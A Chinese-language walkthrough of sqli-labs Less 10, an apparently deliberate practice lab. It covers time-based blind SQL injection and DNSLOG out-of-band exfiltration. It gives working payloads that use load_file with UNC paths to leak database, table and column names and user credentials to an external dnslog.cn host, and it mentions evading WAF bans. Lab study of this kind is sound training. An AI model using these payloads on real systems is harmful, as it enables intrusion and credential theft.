sqli-labs靶场 less 10
文章目录
- sqli-labs靶场
- less 10 时间注入,DNSLOG外带
sqli-labs靶场
每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。
sql注入的基本步骤
- 注入点
- 注入类型
- 字符型:判断闭合方式 (‘、"、’'、“”)
- 数字型
- 根据实际情况,选择合适的注入方式
- 获取数据库名,表名,列名,数据
less 10 时间注入,DNSLOG外带
- 题目类型:
id=1" and sleep(2)–+
判断是双引号闭合,并且是时间注入
但是由于时间盲注需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP
DNSLOG外带适合 无回显,需要大量盲注导致封ip的情况下使用 (也许你也可以使用代理池)
DNSLOG外带注入所需条件?
(root权限,secure_file_priv=,Windows操作系统 )
1.使用 load_file() 函数,所以需要root权限
2.secure_file_priv 需要为空。
3.并且服务器要为Windows操作系统。
可以使用在线DNSLOG查看dns记录
报库名:
id=1" and (select load_file(concat(‘//’,(select database()),‘.temfqh.dnslog.cn/abc’)))–+
报表名:
id=1" and (select load_file(concat(‘//’,(select concat(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),‘.20giws.dnslog.cn/abc.txt’)))–+
报字段
id=1" and (select load_file(concat(‘//’,(select mid(hex(group_concat(column_name)),1,40) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),‘.20giws.dnslog.cn/a1111’)))–+
hex解码即可
报数据
id=1" and (select load_file(concat(‘//’,(select mid(hex(group_concat(username,password)),1,40) from security.users),‘.ou9pxe.dnslog.cn/abc’)))–+
id=1" and (select load_file(concat(‘//’,(select mid(hex(group_concat(username,password)),41,40) from security.users),‘.ou9pxe.dnslog.cn/abc’)))–+
利用mid逐步截取得到完整数据,再拼接进行hex()解码 (分开也行)